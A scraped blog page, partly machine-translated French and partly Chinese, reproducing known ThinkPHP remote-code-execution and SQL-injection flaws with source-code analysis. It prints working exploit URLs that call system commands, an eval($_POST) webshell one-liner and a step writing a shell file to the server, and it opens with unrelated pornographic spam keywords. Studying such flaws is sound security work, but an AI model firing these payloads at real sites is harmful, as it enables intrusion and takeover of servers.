国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Table des matières
ThinkPHP
1) Introduction " >1) Introduction
3) Description de la structure du répertoire ThinkPHP" >3) Description de la structure du répertoire ThinkPHP
4) Configuration requise pour l'environnement d'exploitation ThinkPHP " >4) Configuration requise pour l'environnement d'exploitation ThinkPHP
1, 2-rce
0x01 Apprenez les connaissances à l'avance" >0x01 Apprenez les connaissances à l'avance
0x02 étapes expérimentales" >0x02 étapes expérimentales
0x03 實(shí)驗(yàn)原理" >0x03 實(shí)驗(yàn)原理
二、5.0.23-rce
三.5-rce
四.In-sqlinjection-rce
個(gè)人總結(jié)
Maison cadre php PensezPHP La route vers les tests d'intrusion?: récurrence des vulnérabilités ThinkPHP

La route vers les tests d'intrusion?: récurrence des vulnérabilités ThinkPHP

Jan 04, 2023 pm 03:08 PM
thinkphp

Cet article vous apporte des connaissances pertinentes sur thinkphp, qui présentent principalement le contenu pertinent sur la récurrence des vulnérabilités ThinkPHP. Examinons-le ensemble, j'espère qu'il sera utile à tout le monde.

La route vers les tests d'intrusion?: récurrence des vulnérabilités ThinkPHP

ThinkPHP

1) Introduction

ThinkPHP est un framework de développement PHP léger domestique orienté objet, open source, rapide et simple, gratuit.

ThinkPHP est publié sous le protocole open source Apache2. Il est né pour le développement d'applications WEB agile et le développement simplifié d'applications au niveau de l'entreprise. Il possède de nombreuses fonctions et fonctionnalités excellentes telles que l'open source gratuit, rapide, simple et orienté objet. Bien que ThinkPHP ait connu plus de cinq années de développement, avec la participation active de l'équipe communautaire, il a été continuellement optimisé et amélioré en termes de facilité d'utilisation, d'évolutivité et de performances. De nombreux cas typiques garantissent qu'il peut être utilisé de manière stable en entreprise. et développement de portail.

ThinkPHP s'appuie sur de nombreux excellents frameworks et modèles étrangers, utilise une structure de développement orientée objet et un modèle MVC, adopte un modèle à entrée unique, etc. Il intègre les idées d'action de Struts et TagLib (bibliothèque de balises) de JSP, le mappage ORM de ROR et le mode ActiveRecord?; il encapsule CURD et certaines opérations courantes dans la configuration du projet, l'importation de la bibliothèque de classes, le moteur de modèles, le langage de requête, la vérification automatique et le modèle de vue. , la compilation de projets, le mécanisme de mise en cache, la prise en charge du référencement, la base de données distribuée, la connexion et la commutation multi-bases de données, le mécanisme d'authentification et l'évolutivité ont tous des performances uniques.

Grace à ThinkPHP, vous pouvez développer et déployer des applications plus facilement et plus rapidement. ThinkPHP lui-même possède de nombreuses fonctionnalités originales, et pr?ne le principe de simplicité, de développement par moi-même et d'utilisation du moins de code pour réaliser plus de fonctions. Le but est de rendre le développement d'applications WEB plus simple et plus rapide

2) Méthode d'installation !

Après avoir téléchargé ThinkPHP et l'avoir décompressé, deux dossiers seront formés?: ThinkPHP et Exemples.

ThinkPHP n'a pas besoin d'être installé séparément, il suffit de FTP le dossier ThinkPHP dans le répertoire Web du serveur ou de le copier dans le répertoire Web local.

3) Description de la structure du répertoire ThinkPHP

ThinkPHP.php : Fichier d'entrée du framework

Common : Contient certains fichiers publics du framework, les définitions du système, les fonctions système et les configurations conventionnelles, etc.

Conf : Configuration du framework répertoire de fichiers

Lang?: répertoire de fichiers de langue du système

Lib?: répertoire de la bibliothèque de classes de base du système

Tpl?: répertoire des modèles système

Extend?: extensions du framework

4) Configuration requise pour l'environnement d'exploitation ThinkPHP

thinkphp peut prend en charge l'environnement serveur Windows/Unix, qui peut exécuter une variété de serveurs et de modes WEB, notamment Apache, IIS et nginx. Nécessite la prise en charge de PHP5.2.0 ou version supérieure, prend en charge plusieurs bases de données et connexions telles que MYSQL, MSSQL, PGSQL, SQLITE, ORACLE, LBASE et PDo.

ThinkPHP lui-même n'a pas d'exigences particulières en matière de modules. Les exigences spécifiques de l'environnement d'exploitation du système d'application dépendent des modules impliqués dans le développement. La consommation de mémoire du fonctionnement sous-jacent de ThinkPHP est extrêmement faible et la taille de son fichier est également légère, il n'y aura donc aucun goulot d'étranglement en termes d'espace et d'utilisation de la mémoire.

1, 2-rce

0x01 Apprenez les connaissances à l'avance

preg_replace function:

preg_replace( Mixed $pattern , Mixed $replacement , Mixed $subject [, int $limit = - 1 [ , int &$count ]])

Recherchez la partie du sujet qui correspond au motif et remplacez-la par remplacement.

  • $pattern : Le modèle à rechercher, qui peut être une cha?ne ou un tableau de cha?nes

  • $replacement : La cha?ne ou le tableau utilisé pour le remplacement

  • $subject : La cha?ne cible utilisée pour le remplacement Ou array

  • $limit?: Facultatif, le nombre maximum d'éléments rempla?ables pour chaque cha?ne de sujet pour chaque modèle. La valeur par défaut est -1

  • $count : facultatif·, est le nombre d'exécutions de remplacement

Valeur de retour :

Si le sujet est un tableau, un tableau est renvoyé, sinon une cha?ne est renvoyée.

Si une correspondance est trouvée, le sujet remplacé est renvoyé. Dans les autres cas, le sujet inchangé est renvoyé. Si une erreur se produit, NULL est renvoyé.

Expression régulière?: https://www.runoob.com/regexp/. regexp- syntax.html

0x02 étapes expérimentales

Visitez la page et constatez qu'il s'agit d'un framework CMS de Thinkphp Puisque la vulnérabilité est reproduite, on sait clairement que sa version est 2.x. Si vous ne connaissez pas la version, vous pouvez signaler une erreur en entrant le chemin au hasard, ou utiliser la reconnaissance d'empreintes digitales Yunxi pour la détection

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

à ce moment, entrez la commande d'exécution de code à distance exposée pour révéler la vulnérabilité?:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此為一句話連菜刀

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

ici Remplacez simplement phpinfo() par une phrase Trojan et vous réussirez?!

0x03 實(shí)驗(yàn)原理

1)通過(guò)觀察這句話,我們可以清楚的知道它是將

${@phpinfo()}

作為變量輸出到了頁(yè)面顯示,其原理,我通過(guò)freebuf總結(jié)一下:

在PHP當(dāng)中, ${} 是可以構(gòu)造一個(gè)變量的, {} 寫的是一般字符,那么就會(huì)被當(dāng)作成變量,比如 ${a} 等價(jià)于 $a

thinkphp所有的主入口文件默認(rèn)訪問index控制器(模塊)

thinkphp所有的控制器默認(rèn)執(zhí)行index動(dòng)作(方法)

http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]

數(shù)組$var在路徑存在模塊和動(dòng)作時(shí),會(huì)去除前面兩個(gè)值。而數(shù)組$var來(lái)自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

所以我們構(gòu)造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)換而言之,就是在thinphp的類似于MVC的框架中,存在一個(gè)Dispatcher.class.php的文件,它規(guī)定了如何解析路由,在該文件中,存在一個(gè)函數(shù)為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當(dāng)我們輸入的URL作為變量傳入時(shí),該URL映射控制器會(huì)將變量以數(shù)組的方式獲取出來(lái),從而導(dǎo)致漏洞的產(chǎn)生。

類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  獲得服務(wù)器的PATH_INFO信息
static public function routerCheck() 路由檢測(cè)
static private function parseUrl($route)
static private function getModule($var) 獲得實(shí)際的模塊名稱
static private function getGroup($var) 獲得實(shí)際的分組名稱

二、5.0.23-rce

漏洞簡(jiǎn)介

ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個(gè)系列,系列不同,復(fù)現(xiàn)漏洞時(shí)也稍有不同。

在ThinkPHP 5.x中造成rce(遠(yuǎn)程命令執(zhí)行)有兩種原因

1.路由對(duì)于控制器名控制不嚴(yán)謹(jǐn)導(dǎo)致RCE、

2.Request類對(duì)于調(diào)用方法控制不嚴(yán)謹(jǐn)加上變量覆蓋導(dǎo)致RCE

首先記錄這兩個(gè)主要POC:

控制器名未過(guò)濾導(dǎo)致rce

function為反射調(diào)用的函數(shù),vars[0]為傳入的回調(diào)函數(shù),vars[1][]為參數(shù)為回調(diào)函數(shù)的參數(shù)

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心類Request遠(yuǎn)程代碼執(zhí)行漏洞

filter[]為回調(diào)函數(shù),get[]或route[]或server[REQUEST_METHOD]為回調(diào)函數(shù)的參數(shù),執(zhí)行回調(diào)函數(shù)的函數(shù)為call_user_func()

核心版需要開啟debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未過(guò)濾導(dǎo)致RCE

0x01 簡(jiǎn)介

2018年12月9日,ThinkPHP v5系列發(fā)布安全更新v5.0.23,修復(fù)了一處可導(dǎo)致遠(yuǎn)程代碼執(zhí)行的嚴(yán)重漏洞。在官方公布了修復(fù)記錄后,才出現(xiàn)的漏洞利用方式,不過(guò)不排除很早之前已經(jīng)有人使用了0day

該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對(duì)控制器名過(guò)濾不嚴(yán),從而讓攻擊者可以通過(guò)url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進(jìn)而導(dǎo)致getshell漏洞

最終確定漏洞影響版本為:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解該漏洞的關(guān)鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過(guò)下面格式進(jìn)行解析URL

http://serverName/index.php(或者其它應(yīng)用入口文件)/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]

同時(shí)在兼容模式下ThinkPHP還支持以下格式解析URL:

http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...](參數(shù)以PATH_INFO傳入)
http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[&參數(shù)名=參數(shù)值...]     (參數(shù)以傳統(tǒng)方式傳入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就產(chǎn)生在未匹配到路由的情況下,使用兼容模式解析url時(shí),通過(guò)構(gòu)造特殊url,調(diào)用意外的控制器中敏感函數(shù),從而執(zhí)行敏感操作

下面通過(guò)代碼具體解析ThinkPHP的路由解析流程

0x02 路由處理邏輯詳細(xì)分析

分析版本: 5.0.22

跟蹤路由處理的邏輯,來(lái)完整看一下該漏洞的整體調(diào)用鏈:

thinkphp/library/think/App.php

116行,通過(guò)routeCheck()方法開始進(jìn)行url路由檢測(cè)

在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過(guò)$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會(huì)自動(dòng)將URL中的""替換為"/",導(dǎo)致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會(huì)通過(guò)get的方式獲取,var_pathinfo的值默認(rèn)為's',從而繞過(guò)了反斜杠的替換==,這里也是該漏洞的一個(gè)關(guān)鍵利用點(diǎn)

檢測(cè)邏輯:如果開啟了路由檢測(cè)模式(配置文件中的url_on為true),則進(jìn)入路由檢測(cè),結(jié)果返回給$result,如果路由無(wú)效且設(shè)置了只允許路由檢測(cè)模式(配置文件url_route_must為true),則拋出異常。

在兼容模式中,檢測(cè)到路由無(wú)效后(false === $result),則還會(huì)進(jìn)入Route::parseUrl()檢測(cè)路由。我們重點(diǎn)關(guān)注這個(gè)路由解析方式,因?yàn)樵摲绞轿覀兺ㄟ^(guò)URL可控:

放回最終的路由檢測(cè)結(jié)果$result($dispath),交給exec執(zhí)行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由檢測(cè)
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 開啟路由
            ……
            // 路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由無(wú)效
                throw new RouteNotFoundException();
            }
        }
        // 路由無(wú)效 解析模塊/控制器/操作/參數(shù)... 支持控制器自動(dòng)搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }

thinkphp/libary/think/Route.php

跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式

$url主要同通過(guò)parseUrlPath()解析,跟蹤該函數(shù)發(fā)現(xiàn)程序通過(guò)斜杠/來(lái)劃分模塊/控制器/操作,結(jié)果為數(shù)組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數(shù)組,作為App.php中$dispatch1值,并傳入exec()函數(shù)中

注意這里使用的時(shí) 斜杠/來(lái)劃分每個(gè)部分,我們的控制器可以通過(guò)命名空間來(lái)調(diào)用,命名空間使用反斜杠\來(lái)劃分,正好錯(cuò)過(guò),這也是能利用的其中一個(gè)細(xì)節(jié)

/**
     * 解析模塊的URL地址 [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自動(dòng)深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo參數(shù)和變量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模塊,依次得到$module, $controller, $action
          ……
          // 封裝路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替換 確保路由定義使用統(tǒng)一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模塊/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析結(jié)果作為exec()的參數(shù)進(jìn)行執(zhí)行,追蹤該函數(shù)

thinkphp/library/think/App.php

追蹤exec()函數(shù),傳入了$dispatch,$config兩個(gè)參數(shù),其中$dispatch為['type' => 'module', 'module' => $route]

因?yàn)?type 為 module,直接進(jìn)入對(duì)應(yīng)流程,然后執(zhí)行module方法,其中傳入的參數(shù)$dispatch['module']為模塊\控制器\操作組成的數(shù)組

跟蹤module()方法,主要通過(guò)$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過(guò)程中除了做小寫轉(zhuǎn)換,沒有做其他過(guò)濾操作==

$controller將通過(guò)Loader::controller自動(dòng)加載,這是ThinkPHP的自動(dòng)加載機(jī)制,只用知道此步會(huì)加載我們需要的控制器代碼,如果控制器不存在會(huì)拋出異常,加載成功會(huì)返回$instance,這應(yīng)該就是控制器類的實(shí)例化對(duì)象,里面保存的有控制器的文件路徑,命名空間等信息

通過(guò)is_callable([$instance, $action])方法判斷$action是否是$instance中可調(diào)用的方法

通過(guò)判斷后,會(huì)記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續(xù)調(diào)用,并更新當(dāng)前$request對(duì)象的action

最后$call將被傳入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch['type']) {
……
            case 'module': // 模塊/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config['app_multi_module']) {
            // 多模塊部署
          // 獲取模塊名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
        }
……
        // 獲取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 獲取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 設(shè)置當(dāng)前請(qǐng)求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 獲取當(dāng)前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 執(zhí)行操作方法
            $call = [$instance, $action];
            // 嚴(yán)格獲取當(dāng)前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修復(fù)情況,找到對(duì)應(yīng)的commit,對(duì)傳入的控制器名做了限制

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

thinkphp/library/think/App.php

跟蹤invokeMethod,其中 $method = $call = [$instance, $action]

通過(guò)實(shí)例化反射對(duì)象控制$instace的$action方法,即控制器類中操作方法

中間還有一個(gè)綁定參數(shù)的操作

最后利用反射執(zhí)行對(duì)應(yīng)的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 靜態(tài)方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由檢測(cè),

0x03 弱點(diǎn)利用

如上我們知道,url 路由檢測(cè)過(guò)程并沒有對(duì)輸入有過(guò)濾,我們也知道通過(guò)url構(gòu)造的模塊/控制器/操作主要來(lái)調(diào)用對(duì)應(yīng)模塊->對(duì)應(yīng)的類->對(duì)應(yīng)的方法,而這些參數(shù)通過(guò)url可控,我們便有可能操控程序中的所有控制器的代碼,接下來(lái)的任務(wù)便是尋找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 記錄執(zhí)行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }

該函數(shù)通過(guò)ReflectionFunction()反射調(diào)用程序中的函數(shù),這就是一個(gè)很好利用的點(diǎn),我們通過(guò)該函數(shù)可以調(diào)用系統(tǒng)中的各種敏感函數(shù)。

找到利用點(diǎn)了,現(xiàn)在就需要來(lái)構(gòu)造poc,首先觸發(fā)點(diǎn)在thinkphp/library/think/App.php中的invokeFunction,我們需要構(gòu)造url格式為模塊\控制器\操作

模塊我們用默認(rèn)模塊index即可,首先大多數(shù)網(wǎng)站都有這個(gè)模塊,而且每個(gè)模塊都會(huì)加載app.php文件,無(wú)須擔(dān)心模塊的選擇

該文件的命名空間為think,類名為app,我們的控制器便可以構(gòu)造成\think\app。因?yàn)門hinkPHP使用的自動(dòng)加載機(jī)制會(huì)識(shí)別命名空間,這么構(gòu)造是沒有問題的。

操作直接為invokeFunction,沒有疑問

參數(shù)方面,我們首先要觸發(fā)第一個(gè)調(diào)用函數(shù),簡(jiǎn)化一下代碼再分析一下:

第一行確定 $class 就是我們傳入的控制器\think\app實(shí)例化后的對(duì)象

第二行綁定我們的方法,也就是invokefunction

第三方就可以調(diào)用這個(gè)方法了,其中$args是我們的參數(shù),通過(guò)url構(gòu)造,將會(huì)傳入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就進(jìn)入我們的invokefunctio,該函數(shù)需要什么參數(shù),我們就構(gòu)造什么參數(shù),首先構(gòu)造一個(gè)調(diào)用函數(shù)function=call_user_func_array

call_user_func_array需要兩個(gè)參數(shù),第一個(gè)參數(shù)為函數(shù)名,第二個(gè)參數(shù)為數(shù)組,var[0]=system,var[1][0]=id

這里因?yàn)閮纱畏瓷湟淮位卣{(diào)調(diào)用需要好好捋一捋。。。。

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

復(fù)現(xiàn)成功

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

三.5-rce

0x01 漏洞原理

ThinkPHP是一款運(yùn)用極廣的PHP開發(fā)框架,其版本5中,由于沒有使用正確的控制器名,導(dǎo)致在網(wǎng)站沒有開啟強(qiáng)制路由的情況下(即默認(rèn)情況下),可以執(zhí)行任意方法,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。

0x02 漏洞影響版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞復(fù)現(xiàn)

可以利用點(diǎn):

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

vars[0]用來(lái)接受函數(shù)名,vars[1][]用來(lái)接收參數(shù)

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

會(huì)在屏幕上打出123和我們輸入的字符串長(zhǎng)度

寫入一句話木馬getshell

使用file_put_contents函數(shù)寫入shell:

vars[0]=system&vars[1][]=echo%20"">>test.php

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

使用蟻劍成功getshell!

四.In-sqlinjection-rce

0x01 了解的知識(shí):

pdo預(yù)編譯:

當(dāng)我們使用mysql語(yǔ)句進(jìn)行數(shù)據(jù)查詢時(shí),數(shù)據(jù)首先傳入計(jì)算機(jī),計(jì)算機(jī)進(jìn)行編譯之后傳入數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)查詢

(我們使用的是高級(jí)語(yǔ)言,計(jì)算機(jī)無(wú)法直接理解執(zhí)行,所以我們將命令或請(qǐng)求傳入計(jì)算機(jī)時(shí),計(jì)算機(jī)首先將我們的語(yǔ)句編譯成為計(jì)算機(jī)語(yǔ)言,之后再進(jìn)行執(zhí)行,所以如果不編譯直接執(zhí)行計(jì)算機(jī)是無(wú)法理解的,如傳入select函數(shù),沒編譯之前計(jì)算機(jī)只認(rèn)為這是五個(gè)字符,而無(wú)法理解這是個(gè)查詢函數(shù))

如此說(shuō)來(lái),我們每次查詢時(shí)都需要先編譯,這樣會(huì)加大成本,并且會(huì)存在sql注入的可能,所以有一定危險(xiǎn)。

如此,我們進(jìn)行查詢數(shù)據(jù)庫(kù)數(shù)據(jù)時(shí)使用預(yù)編譯,例如:

select ? from security where tables=?

此語(yǔ)句中?代表占位符,在pdo中表示之后綁定的數(shù)據(jù),此時(shí)無(wú)法確定具體值

用戶在傳入查詢具體數(shù)值時(shí),計(jì)算機(jī)首先將以上的查詢語(yǔ)句進(jìn)行編譯,使其具有執(zhí)行力,之后再對(duì)于?代表的具體數(shù)值就不進(jìn)行編譯而直接進(jìn)行查詢,所以我們?cè)?處利用sql注入語(yǔ)句代替時(shí),就不具有任何效力,甚至傳入字符串時(shí)還會(huì)報(bào)錯(cuò),而預(yù)編譯還可以節(jié)省成本,即上面語(yǔ)句除了查詢數(shù)值只編譯一次,之后進(jìn)行相同語(yǔ)句查詢時(shí)直接使用,只是查詢具體數(shù)值改變。所以這種預(yù)編譯的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input(&#39;ids/a&#39;);
        $t = new User();
        $result = $t->where(&#39;id&#39;, &#39;in&#39;, $ids)->select();
    }
}

如上述代碼,如果我們控制了in語(yǔ)句的值位置,即可通過(guò)傳入一個(gè)數(shù)組,來(lái)造成SQL注入漏洞。

文中已有分析,我就不多說(shuō)了,但說(shuō)一下為什么這是一個(gè)SQL注入漏洞。IN操作代碼如下:

<?php
...
$bindName = $bindName ?: &#39;where_&#39; . str_replace([&#39;.&#39;, &#39;-&#39;], &#39;_&#39;, $field);
if (preg_match(&#39;/\W/&#39;, $bindName)) {
    // 處理帶非單詞字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, [&#39;NOT IN&#39;, &#39;IN&#39;])) {
    // IN 查詢
    if ($value instanceof \Closure) {
        $whereStr .= $key . &#39; &#39; . $exp . &#39; &#39; . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(&#39;,&#39;, $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . &#39;_in_&#39; . $k)) {
                    $bindKey = $bindName . &#39;_in_&#39; . uniqid() . &#39;_&#39; . $k;
                } else {
                    $bindKey = $bindName . &#39;_in_&#39; . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = &#39;:&#39; . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(&#39;,&#39;, $array);
        } else {
            $zone = implode(&#39;,&#39;, $this->parseValue($value, $field));
        }
        $whereStr .= $key . &#39; &#39; . $exp . &#39; (&#39; . (empty($zone) ? "&#39;&#39;" : $zone) . &#39;)&#39;;
    }

可見,$bindName在前邊進(jìn)行了一次檢測(cè),正常來(lái)說(shuō)是不會(huì)出現(xiàn)漏洞的。但如果$value是一個(gè)數(shù)組的情況下,這里會(huì)遍歷$value,并將$k拼接進(jìn)$bindName。

也就是說(shuō),我們控制了預(yù)編譯SQL語(yǔ)句中的鍵名,也就說(shuō)我們控制了預(yù)編譯的SQL語(yǔ)句,這理論上是一個(gè)SQL注入漏洞。那么,為什么原文中說(shuō)測(cè)試SQL注入失敗呢?

這就是涉及到預(yù)編譯的執(zhí)行過(guò)程了。通常,PDO預(yù)編譯執(zhí)行過(guò)程分三步:

prepare($SQL)編譯SQL語(yǔ)句

bindValue($param, $value)將value綁定到param的位置上

execute()執(zhí)行

這個(gè)漏洞實(shí)際上就是控制了第二步的$param變量,這個(gè)變量如果是一個(gè)SQL語(yǔ)句的話,那么在第二步的時(shí)候是會(huì)拋出錯(cuò)誤的:

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

所以,這個(gè)錯(cuò)誤“似乎”導(dǎo)致整個(gè)過(guò)程執(zhí)行不到第三步,也就沒法進(jìn)行注入了。

但實(shí)際上,在預(yù)編譯的時(shí)候,也就是第一步即可利用。我們可以做有一個(gè)實(shí)驗(yàn)。編寫如下代碼:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO(&#39;mysql:dbname=cat;host=127.0.0.1;&#39;, &#39;root&#39;, &#39;root&#39;, $params);
try {
    $link = $db->prepare(&#39;SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))&#39;);
} catch (\PDOException $e) {
    var_dump($e);
}

執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語(yǔ)句中的報(bào)錯(cuò)已經(jīng)成功執(zhí)行:

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

究其原因,是因?yàn)槲疫@里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。

這個(gè)選項(xiàng)涉及到PDO的“預(yù)處理”機(jī)制:因?yàn)椴皇撬袛?shù)據(jù)庫(kù)驅(qū)動(dòng)都支持SQL預(yù)編譯,所以PDO存在“模擬預(yù)處理機(jī)制”。如果說(shuō)開啟了模擬預(yù)處理,那么PDO內(nèi)部會(huì)模擬參數(shù)綁定的過(guò)程,SQL語(yǔ)句是在最后execute()的時(shí)候才發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會(huì)模擬預(yù)處理,參數(shù)化綁定的整個(gè)過(guò)程都是和Mysql交互進(jìn)行的。

非模擬預(yù)處理的情況下,參數(shù)化綁定過(guò)程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語(yǔ)句到mysql服務(wù)器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務(wù)器進(jìn)行執(zhí)行(多次執(zhí)行optimization->execution)。

